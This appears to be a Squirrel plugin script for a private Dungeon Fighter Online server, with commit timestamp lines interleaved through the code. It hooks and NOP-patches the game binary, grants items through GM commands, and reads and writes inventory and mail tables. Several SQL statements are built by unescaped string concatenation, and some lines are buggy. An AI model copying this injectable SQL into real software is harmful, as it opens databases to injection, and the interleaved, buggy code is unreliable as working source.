// local PackCopyBuffer = Memory.alloc(10001);
// Memory.copy(PackCopyBuffer, NativePointer(args[2]), 1000);
// local Pack = Packet(PackCopyBuffer.C_Object);
// local Type = Pack.GetByte();
// if(Type == 1 || Type == 33){
// Pack.GetShort();
// Pack.GetInt();
// local StrLen = Pack.GetInt();
// local SStr = Pack.GetString(256,StrLen);
// local Str= SStr.readUtf8String();
// // print("对话长度:" + StrLen);
// print("对话:" + Str);
// if(Str.find("asd") != null){
// args[1] = getroottable()._LenheartUserLoseEfficacyState_.C_Object;
// print("屏蔽词");
// return args;
// }
// }
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) {
printT(Jso);
if (Jso.type == 0) {
// saveItemToInven(SUser);
Gm_InputFunc_Handle["aaa"](SUser, "11");
}
});
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// function _Dps_CrossBorderStones_Main_() {
// local Cofig = GlobalConfig.Get("跨界石_Lenheart.json");
// Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) {
// //获取账号金库对象
// local CargoObj = SUser.GetAccountCargo();
// //获取账号金库中的一个空格子
// local EmptySlot = CargoObj.GetEmptySlot();
// //如果没有空格子
// if (EmptySlot == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //获取角色背包
// local InvenObj = SUser.GetInven();
// //获取需要转移的装备 这里默认写的装备栏第一个格子
// local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
// //获取装备ID
// local EquipId = ItemObj.GetIndex();
// //获取装备名字
// local ItemName = PvfItem.GetNameById(EquipId);
// //获取配置中不可跨界的ID数组
// local NoCrossId = Cofig.NoCrossIdArr;
// //如果这个装备不可跨界
// if (NoCrossId.find(EquipId) != null) {
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //如果没找到这个格子的装备
// if (!ItemName) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //跨界
// local Flag = CargoObj.InsertItem(ItemObj, EmptySlot);
// if (Flag == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// } else {
// //销毁背包中的道具
// ItemObj.Delete();
// //刷新玩家背包列表
// SUser.SendUpdateItemList(1, 0, 9);
// //刷新账号金库列表
// CargoObj.SendItemList();
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7);
// }
// }
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) {
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// local _Execve_Address = Module.getExportByName(null, "execve");
// // local Ret = system("ls");
// print(_Execve_Address);
// // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7);
// }
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
// //定义一个显示的变量
// getroottable().TaskCount <- 0;
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
// //任务
// function Task() {
// getroottable().TaskCount++;
// print("定时任务执行了一次,当前执行次数为:" + getroottable().TaskCount);
// }
// //注册一个定时任务 每五秒执行一次 任务名为 TestCronName
// Timer.SetCronTask(Task, {
// Cron = "0/5 * * * * *",
// Name = "TestCronName"
// });
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
function _Jump_DropItem_check_error_() {
2025-04-21 13:36:35 +08:00
//如果没有创建过这个模拟内存就创建
2025-11-03 21:13:01 +08:00
if (!getroottable().rawin("_EmptyCharacInfo_Flag_")) {
2025-04-21 13:36:35 +08:00
getroottable()._EmptyCharacInfo_Flag_ <- Memory.alloc(17);
2025-11-03 21:13:01 +08:00
Memory.reset(getroottable()._EmptyCharacInfo_Flag_, 17);
2025-04-21 13:36:35 +08:00
}
//如果没有创建过这个跳转Flag就创建并初始化
2025-11-03 21:13:01 +08:00
if (!getroottable().rawin("_EmptyHook_Flag_")) {
2025-04-21 13:36:35 +08:00
getroottable()._EmptyHook_Flag_ <- false;
}
}
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
function _Dps_UpdateCreatureEnchantMysql_(card_id, charac_no, uuid) {
local sql = "select card from `taiwan_cain_2nd`.`creature_items_enchant` where ui_id = " + uuid + ";";
local column_type_list = ["int"];
local SqlObj = MysqlPool.GetInstance().GetConnect();
local result = SqlObj.Select(sql, column_type_list);
local UpdateSql = "update `taiwan_cain_2nd`.`creature_items_enchant` set `card` = " + card_id + " where `ui_id` = " + uuid + ";";
if (result.len() <= 0 || result[0].len() <= 0) {
UpdateSql = "INSERT INTO `taiwan_cain_2nd`.`creature_items_enchant`(`ui_id`, `charac_no`, `card`) VALUES (" + uuid + "," + charac_no + "," + card_id + ");";
}
SqlObj.Exec_Sql(UpdateSql);
MysqlPool.GetInstance().PutConnect(SqlObj);
}
function _Dps_GetCreatureEnchantMysql_(charac_no) {
local sql = "select ui_id,card from `taiwan_cain_2nd`.`creature_items_enchant` where charac_no = " + charac_no + ";";
local column_type_list = ["int", "int"];
local SqlObj = MysqlPool.GetInstance().GetConnect();
local result = SqlObj.Select(sql, column_type_list);
MysqlPool.GetInstance().PutConnect(SqlObj);
return result;
}
// MultiBox_Lottery_SetCount <- 0;
// MultiBox_Lottery_SetInfo <- [];
2025-04-21 13:36:35 +08:00
Timer.SetTimeOut(function() {
2025-11-03 21:13:01 +08:00
// GameManager.OpenHotFix("/dp_s/OfficialConfig");
// Haker.LoadHook("0x080FE2B6", ["pointer", "pointer"],
// function(args) {
// // print("args 0 : " + args[0]);
// return args;
// },
// function(args) {
// // print(args.pop());
// local ItemObj = Item(args.pop());
// print(ItemObj.GetIndex());
// return null;
// });
// Haker.LoadHook("0x08674968", ["pointer", "int", "int", "int"],
// function(args) {
// print("args 1 : " + args[1]);
// print("args 2 : " + args[2]);
// // args[1] = 3;
// // args[2] = 109;
// return args;
// },
// function(args) {
// print(args.pop());
// args.push(1);
// return null;
// });
// //获取坐标
// Gm_InputFunc_Handle["设置宣言"] <- function(SUser, CmdString) {
// local count = -1;
// local pos = 0;
// local handler = [];
// do {
// local start = pos;
// pos = CmdString.find(" ", pos + 1);
// if (pos != null) {
// handler.append(CmdString.slice(start + 1, pos));
// } else
// handler.append(CmdString.slice(start + 1));
// count = count + 1
// } while (pos != null)
// //得到空格数量
// if (count == 1) {
// local T = {
// op = 20096009,
// cid = SUser.GetCID(),
// uid = SUser.GetUID(),
// zdygg = handler[1]
// }
// Socket.SendGateway(T);
// }
// };
// GameManager.SetGameMaxLevel(85);
2025-04-21 13:36:35 +08:00
// //私有方法 发送带参数的Post请求
// local SO = Http("129.211.27.104", "9080");
// local Res = SO.Post("/dof/chat", Json.Encode({
// username = "系统公告",
// text = "倾泪寒在格蓝迪发电站爆出了【雷剑-苦轮】!真是人品爆炸!!!",
// groupId = 850022626
// }), "application/json");
2025-11-03 21:13:01 +08:00
// _Dps_CollectIllustrationsAndTransplantThem_Main_();
// //初始建表指令
// local CreateSql = "CREATE TABLE `taiwan_cain_2nd`.`creature_items_enchant` (`ui_id` int(11) NOT NULL DEFAULT '0',`charac_no` int(11) DEFAULT NULL,`card` int(11) NOT NULL DEFAULT '0',PRIMARY KEY (`ui_id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
// local SqlObj = MysqlPool.GetInstance().GetConnect();
// SqlObj.Exec_Sql(CreateSql);
// MysqlPool.GetInstance().PutConnect(SqlObj);
// print(666);
// //忽略宠物附魔错误
// Sq_WriteByteArr(S_Ptr("0x850dede"), array(2, 0x90));
// Cb_ExpertOnEnchantByBead_Leave_Func["宠物附魔"] <- function(args) {
// if (args[5] > 56) {
// local SUser = User(args[1]);
// local InvenObj = SUser.GetInven();
// local Bead_id = InvenObj.GetSlot(1, args[3]).GetIndex()
// local PvfItemObj = PvfItem.GetPvfItemById(InvenObj.GetSlot(1, args[3]).GetIndex())
// local Card_Id = Sq_CallFunc(S_Ptr("0x0849F530"), "int", ["pointer"], PvfItemObj.C_Object);
// local a7 = args[5] - 57;
// local ItemObj = InvenObj.GetSlot(3, a7)
// local Item_Id = ItemObj.GetIndex();
// NativePointer(ItemObj.C_Object).add(13).writeU32(Card_Id);
// if (a7< 140) {
// local uuid = NativePointer(ItemObj.C_Object).add(7).readInt();
// _Dps_UpdateCreatureEnchantMysql_(Card_Id, SUser.GetCID(), uuid);
// }
// local Pack = Packet();
// Pack.Put_Header(1, 275);
// Pack.Put_Byte(1);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
// SUser.SendUpdateItemList(1, 7, a7);
// InvenObj.DeleteItemCount(Bead_id, 1);
// SUser.SendUpdateItemList(1, 0, args[3]);
// return 0;
// }
2025-04-21 13:36:35 +08:00
// }
2025-11-03 21:13:01 +08:00
// Cb_reach_game_world_Func["宠物附魔"] <- function(SUser) {
// local Data = _Dps_GetCreatureEnchantMysql_(SUser.GetCID());
// local DMap = {};
// foreach(data_obj in Data) {
// local uuid = data_obj[0];
// local card_id = data_obj[1];
// DMap.rawset(uuid, card_id);
// }
// local InvenObj = SUser.GetInven();
// for (local i = 0; i< 141; i++) {
// local equ;
// if (i == 140) {
// equ = InvenObj.GetSlot(0, 22); //获取当前格子的宠物
// } else {
// equ = InvenObj.GetSlot(3, i);
// }
// local equ_uuid = NativePointer(equ.C_Object).add(7).readInt();
// if (DMap.rawin(equ_uuid)) {
// NativePointer(equ.C_Object).add(13).writeU32(DMap[equ_uuid]);
// if (i == 140) SUser.SendUpdateItemList(1, 0, 22);
// else SUser.SendUpdateItemList(1, 7, i);
// }
2025-04-21 13:36:35 +08:00
// }
// }
2025-11-03 21:13:01 +08:00
// PacketDebugModel <- true;
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
// User.SendItemMail(1, 1, [{
// item = 3037,
// num = 10
// }], "标题", "内容");
2025-03-27 20:21:11 +08:00
2025-04-21 13:36:35 +08:00
2025-11-03 21:13:01 +08:00
// Haker.LoadHook("0x085F2CC6", ["pointer", "pointer", "pointer", "int", "int", "int", "pointer", "int"],
// function(args) {
// foreach(value in args) {
// print(value);
// }
// return null;
// },
// function(args) {
// return null;
// });
}, 1)
2025-04-21 13:36:35 +08:00
2025-04-05 22:03:40 +08:00
Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) {
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
local InvenObj = SUser.GetInven();
// local Equ = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
// local Flag = Sq_CallFunc(S_Ptr("0x081201DC"), "bool", ["pointer"], Equ.C_Object);
// print(Flag);
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
local ptr = Memory.alloc(10240);
ptr.Output(48);
Sq_CallFunc(S_Ptr("0x084FB918"), "int", ["pointer", "pointer", "int", "int"], ptr.C_Object, InvenObj.C_Object, 1, 9);
ptr.Output(48);
// local TradeSpace = Sq_CallFunc(S_Ptr("0x08120242"), "bool", ["pointer"], SUser.C_Object, Inven.INVENTORY_TYPE_ITEM, 0);
// print(ptr.);
return;
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
// 获取角色背包
// local InvenObj = SUser.GetInven();
// local ItemObj = InvenObj.GetSlot(1, 9);
// print("Id:" + ItemObj.GetIndex());
// print("Address:" + ItemObj.C_Object);
// print(NativePointer(ItemObj.C_Object).add(47).readS8());
// NativePointer(ItemObj.C_Object).add(48).writeS8(100);
// NativePointer(ItemObj.C_Object).add(49).writeS8(11);
// NativePointer(ItemObj.C_Object).add(50).writeS8(16);
// NativePointer(ItemObj.C_Object).add(51).writeS8(100);
// NativePointer(ItemObj.C_Object).add(52).writeS8(11);
// NativePointer(ItemObj.C_Object).add(54).writeS8(16);
// NativePointer(ItemObj.C_Object).add(55).writeS8(100);
// NativePointer(ItemObj.C_Object).add(56).writeS8(11);
// ItemObj.Flush();
// SUser.SendUpdateItemList(1, 0, 9);
// ItemObj.Output();
// local OldData = blob(0);
// foreach (value in ItemObj.Attribute) {
// OldData.writen(value,'b');
// // OldData.seek(1,'c');
// }
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
// ItemObj.Attribute.seek(37);
// local Address = ItemObj.Attribute.readn('i');
// print(Address);
// local Count = Sq_CallFunc(S_Ptr("0x08514E6E"), "int", ["pointer"], ItemObj.C_Object);
// print("魔法封印装备的数量: " + Count);
// local SendInfo = SUser.GiveItem(2243114, 1);
// local NewItemObj = InvenObj.GetSlot(1, SendInfo[1]);
// if(NewItemObj){
// NewItemObj.Attribute = OldData;
// NewItemObj.Flush();
// NewItemObj.Output();
// SUser.SendUpdateItemList(1,0, SendInfo[1]);
// }
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
// SUser.SendItemSpace(0);
//先执行背包固化 把最新数据存到数据库
Sq_CallFunc(S_Ptr("0x0864FE52"), "int", ["pointer"], SUser.C_Object);
// Sq_CallFunc(S_Ptr("0x086501C8"), "int", ["pointer"], SUser.C_Object);
Timer.SetTimeOut(function() {
local SqlObj = MysqlPool.GetInstance().GetConnect();
local Ret = SqlObj.Select("SELECT inventory FROM taiwan_cain_2nd.inventory WHERE charac_no = 1;", ["binary"]);
//把连接还池子
MysqlPool.GetInstance().PutConnect(SqlObj);
if (Ret.len()< 1 || Ret[0][0] == null) {
return false;
} else {
local LengthPointer = Memory.alloc(4);
LengthPointer.writeInt(18238);
local ReadPointer = Memory.alloc(18238);
local Flag = Sq_CallFunc(S_Ptr("0x086B2102"), "bool", ["pointer", "pointer", "pointer", "int"], ReadPointer.C_Object, LengthPointer.C_Object, Ret[0][0].C_Object, Ret[0][0].Size);
//读取第一格装备
local Slot = 0;
local RealP = ReadPointer.add(2 + (9 + Slot) * 61);
//打印数据
RealP.Output(61);
//装备编号
local ItemId = RealP.readInt();
print("装备编号: " + ItemId);
//强化等级
local EnhancementLevel = RealP.add(4).readS8();
print("强化等级: " + EnhancementLevel);
//红字类型
local AmplifyType = RealP.add(15).readS8();
print("红字类型: " + AmplifyType);
//红字属性值
local AmplifyValue = RealP.add(16).readS8();
print("红字属性值: " + AmplifyValue);
//锻造等级
local ForgingGrade = RealP.add(49).readS8();
print("锻造等级: " + ForgingGrade);
//附魔卡片
local CardId = RealP.add(11).readShort();
print("附魔卡片: " + CardId);
//品级
local Grade = RealP.add(5).readInt();
print("品级: " + Grade);
//耐久度
local Durability = RealP.add(9).readS8();
print("耐久度: " + Durability)
//魔法封印
local MagicSealP = "0x";
for (local i = 0; i< 14; i++) {
MagicSealP += format("%02x", RealP.add(35 + i).readS8());
}
print(MagicSealP);
local SendT = {
ItemId = ItemId,
Grade = Grade,
Durability = Durability,
EnhancementLevel = EnhancementLevel,
AmplifyType = AmplifyType,
AmplifyValue = AmplifyValue,
MagicSealP = MagicSealP,
CardId = CardId,
2025-04-05 22:03:40 +08:00
}
2025-11-03 21:13:01 +08:00
SendItemExMail(1, 1, [SendT], "GM", "GM");
2025-04-05 22:03:40 +08:00
}
2025-11-03 21:13:01 +08:00
}, 1)
}
function SendItemExMail(UID, CID, ItemList, title, content) {
local SUser = World.GetUserByUid(UID);
local sql = "select letter_id from taiwan_cain_2nd.postal order by letter_id DESC";
local column_type_list = ["int"];
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
local SqlObj = MysqlPool.GetInstance().GetConnect();
local result = SqlObj.Select(sql, column_type_list);
local sl = 1;
if (result.len() > 0) {
sl = result[0][0] + 1;
2025-04-05 22:03:40 +08:00
}
2025-03-27 20:21:11 +08:00
2025-11-03 21:13:01 +08:00
local time = date();
local timeStr = time["year"] + "-" + (time["month"] + 1) + "-" + time["day"] + " " + time["hour"] + ":" + time["min"] + ":" + time["sec"];
foreach(value in ItemList) {
//时间 发送者名字 接收者id 装备ID 品级 耐久度 强化等级 红字类型 红字属性值 魔法封印属性 letterid
local sql1 = format("insert into taiwan_cain_2nd.postal (occ_time,send_charac_name,receive_charac_no,item_id,add_info,endurance,upgrade,amplify_option,amplify_value,random_option,letter_id,extend_info) values ('%s','%s',%d,%d,%d,%d,%d,%d,%d,%s,%d,%d)", timeStr, title, CID, value.ItemId, value.Grade, value.Durability, value.EnhancementLevel, value.AmplifyType, value.AmplifyValue, value.MagicSealP, sl, value.CardId)
SqlObj.Select(sql1, []);
2025-03-27 20:21:11 +08:00
}
2025-04-05 22:03:40 +08:00
2025-11-03 21:13:01 +08:00
local sql2 = "insert into taiwan_cain_2nd.letter (letter_id,charac_no,send_charac_name,letter_text,reg_date,stat) values ('" + sl + "'," + CID + ",'" + title + "','" + content + "','" + timeStr + "','1')";
SqlObj.Select(sql2, []);
MysqlPool.GetInstance().PutConnect(SqlObj);
if (SUser) {
local Pack = Packet();
Pack.Put_Header(0, 9);
local MailBox = Sq_CallFunc(S_Ptr("0x0823020C"), "int", ["pointer"], SUser.C_Object);
Sq_CallFunc(S_Ptr("0x0823455A"), "int", ["int"], MailBox);
local Not_Count = Sq_CallFunc(S_Ptr("0x084ED330"), "int", ["int"], MailBox);
Pack.Put_Short(Not_Count);
Pack.Finalize(true);
SUser.Send(Pack);
Pack.Delete();
}
}
Gm_InputFunc_Handle["bbb"] <- function(SUser, cmd) {
// print(124124);
// Sq_CUser_RechargeCoupons(SUser.C_Object, 909999);
// Sq_CallFunc(S_Ptr("0x0817A1B4"), "int", ["pointer","int"], SUser.C_Object,100000);
SUser.GiveItem(2220112, 1);
2025-04-05 22:03:40 +08:00
}
2025-03-27 20:21:11 +08:00
Register_DPS_Pack(1, function(SUser, Pack) {
printT(Pack);
SUser.Send_DPS_Pack(1, {
ttt = 1,
})
});
// //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
// local evv = {
// op = 20092098,
// WinCount = 1, //胜利场次
// Ranking = 2, //排名
// OnlineRanking = 56, //跨服排名
// TicketCount = 3, //入场卷数量
// }
// SUser.SendJso(evv);
// });
// //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
// local evv = {
// op = 20092002,
// }
// SUser.SendJso(evv);
// //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息
// Timer.SetTimeOut(function() {
// //角色类 名字 职业 穿戴装备
// local Charac = {
// Name = "测试角色",
// Job = 8,
// Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
// CardList = [0, 1, 2, 3, 1]
// }
// //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID
// local evv = {
// op = 20092006,
// CharacList = [Charac, Charac, Charac, Charac],
// MainCard = 2
// }
// SUser.SendJso(evv);
// }, 500);
// });
// //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
// local evv = {
// op = 20092004,
// }
// SUser.SendJso(evv);
// });
// //收到出牌包
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
// //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
// local CardList = Jso.CardList;
// //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
// //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID
// local evv = {
// op = 20092008,
// CharacId = 1,
// CardList = CardList
// };
// SUser.SendJso(evv);
// });
// //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
// local evv = {
// //谁的回合
// RoundCharac = 0;
// //剩余多少时间 (这个应该是在你的配置里)
// RoundTime = 30;
// };
// //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
// local evv = {
// //质疑玩家
// QuestionCharac = 0;
// //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
// QuestionCardList = [0, 1, 2, 3, 1];
// };
// //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血
// local evv = {
// Charac = [0, -1, 1, -1]
// };
// //主动下发 结算包 20092018 一局游戏结束了 发包给我
// local evv = {
// //0 是你输了 1是你赢了
// Win = 0
// };
// //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
// local evv = {
// //消息
// Msg = "公告消息"
// };
// //收到聊天信息包
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
// //这里是左下角聊天框打字发送上来的信息
// local MsgBuffer = Jso.Msg;
// //转发给所有玩家 包括他自己
// local evv = {
// op = 20092100,
// Msg = MsgBuffer,
// };
// SUser.SendJso(evv);
2025-11-03 21:13:01 +08:00
// });
// /*
// 文件名:收集图鉴_移植.nut
// 路径:OfficialProject/收集图鉴_移植/收集图鉴_移植.nut
// 创建日期:2025-05-05 05:22
// 文件用途:
// */
// function collect_check(id) {
// local CheckSql = "select id from `collect`.`s_item` where id = " + id + ";";
// //从池子拿连接
// local SqlObj = MysqlPool.GetInstance().GetConnect();
// local Ret = SqlObj.Select(CheckSql, ["int"]);
// //把连接还池子
// MysqlPool.GetInstance().PutConnect(SqlObj);
// if (Ret.len()< 1 || Ret[0][0] == null) {
// return false;
// } else {
// return Ret[0][0];
// }
// }
// function collect_check_has(uid, item) {
// local CheckSql = "select num from `collect`.`g_user_item` where uid = " + uid + " and item = " + item + ";";
// //从池子拿连接
// local SqlObj = MysqlPool.GetInstance().GetConnect();
// local Ret = SqlObj.Select(CheckSql, ["int"]);
// //把连接还池子
// MysqlPool.GetInstance().PutConnect(SqlObj);
// if (Ret.len()< 1 || Ret[0][0] == null) {
// return false;
// } else {
// return Ret[0][0];
// }
// }
// function collect_update(uid, item, type, num) {
// local CheckSql = "select id,num from `collect`.`g_user_item` where uid = " + uid + " and item = " + item + ";";
// //从池子拿连接
// local SqlObj = MysqlPool.GetInstance().GetConnect();
// local Ret = SqlObj.Select(CheckSql, ["int", "int"]);
// if (Ret.len()< 1 || Ret[0][0] == null) {
// local InsertSql = "INSERT INTO `collect`.`g_user_item`(`uid`,`item`,`type`,`num`) VALUES(" + uid + "," + item + "," + type + "," + num + ");";
// SqlObj.Exec_Sql(InsertSql);
// } else {
// local id = Ret[0][0];
// local newnum = Ret[0][1] + num;
// local UpdateSql = "update `collect`.`g_user_item` set num = " + newnum + " where id = " + id + ";";
// SqlObj.Exec_Sql(UpdateSql);
// }
// //把连接还池子
// MysqlPool.GetInstance().PutConnect(SqlObj);
// }
// function collect_equ(SUser, Slot) { //将装备收录进图鉴user slot
// local InvenObj = SUser.GetInven();
// local EquObj = InvenObj.GetSlot(1, Slot);
// local EquId = EquObj.GetIndex();
// local Msg = "";
// if (collect_check(equ_id)) { //是否支持收录
// local mid = SUser.GetUID();
// if (collect_check_has(mid, equ_id)) { //是否已收录
// msg = "已收录过该装备。";
// } else {
// local ItemName = PvfItem.GetNameById(EquId);
// Sq_CallFunc(S_Ptr("0x080CB7D8"), "int", ["pointer"], EquObj.C_Object);
// SUser.SendUpdateItemList(1, 0, Slot);
// collect_update(mid, equ_id, 1, 1); //更新图鉴
// msg = "装备[" + equ_name + "]已成功收录至图鉴。";
// }
// } else {
// msg = "该装备不支持图鉴收录。";
// }
// SUser.SendNotiPacketMessage(msg, 0);
// }
// if (!getroottable().rawin("collcet_monster_cache")) collcet_monster_cache <- {};
// function _Dps_CollectIllustrationsAndTransplantThem_Main_() {
// Cb_CParty_DungeonStart_Enter_Func["收集图鉴移植"] <- function(args) {
// local PartyObj = Party(args[0]);
// PartyObj.ForeachMember(function(SUser, Index) {
// local mid = SUser.GetUID();
// collcet_monster_cache[mid] <- {};
// });
// }
// Cb_CParty_OnKillMonster_Enter_Func["收集图鉴移植"] <- function(args) {
// local SUser = User(args[1]);
// local MonsterId = args[2];
// local Config = GlobalConfig.Get("收集图鉴移植_Lenheart.json");
// if (Config.rawin(MonsterId.tostring())) {
// local MonsterName = Config[MonsterId.tostring()];
// local mid = SUser.GetUID();
// if (collcet_monster_cache.rawin(mid)) {
// collcet_monster_cache[mid][MonsterId] <- 1;
// SUser.SendNotiPacketMessage("获得[" + MonsterName + "]。碎片1个。", 0);
// }
// }
// }
// Cb_CParty_SetPlayResult_Enter_Func["收集图鉴移植"] <- function(args) {
// local PartyObj = Party(args[0]);
// PartyObj.ForeachMember(function(SUser, Index) {
// local mid = SUser.GetUID();
// if (collcet_monster_cache.rawin(mid)) {
// foreach(key, value in collcet_monster_cache[mid]) {
// collect_update(mid, key, 2, value);
// }
// }
// });
// }
// // 跳过指定道具ID原逻辑1
// Cb_UseLimitCube_Check_Error_Leave_Func["收集图鉴移植"] <- function(args) {
// local ItemObj = Item(args[5]);
// local ItemId = ItemObj.GetIndex();
// if (ItemId == 690000274) {
// return 17;
// }
// }
// Cb_UseLimitCube_Process_Leave_Func["收集图鉴移植"] <- function(args) {
// local SUser = User(args[1]);
// local msg_base = args[2];
// if (msg_base) {
// local slot = NativePointer(msg_base).add(13).readShort();
// local boxslot = NativePointer(msg_base).add(19).readShort();
// local InvenObj = SUser.GetInven();
// local boxobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, boxslot);
// local box_index = boxobj.GetIndex();
// local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
// local Item_Id = ItemObj.GetIndex();
// if (!ItemObj) return;
// if (box_index == 690000274) {
// local msg = "";
// if (collect_check(Item_Id)) {
// local mid = SUser.GetUID();
// if (collect_check_has(mid, Item_Id)) {
// msg = "已收录过该装备。";
// } else {
// local ItemName = PvfItem.GetNameById(Item_Id);
// Sq_CallFunc(S_Ptr("0x080CB7D8"), "int", ["pointer"], ItemObj.C_Object);
// collect_update(mid, Item_Id, 1, 1); //更新图鉴
// SUser.SendUpdateItemList(Inven.INVENTORY_TYPE_ITEM, 0, slot);
// msg = "装备[" + ItemName + "]已成功收录至图鉴。";
// }
// }else msg = "该装备不支持图鉴收录。";
// SUser.SendNotiPacketMessage(msg, 0);
// }
// }
// }
// }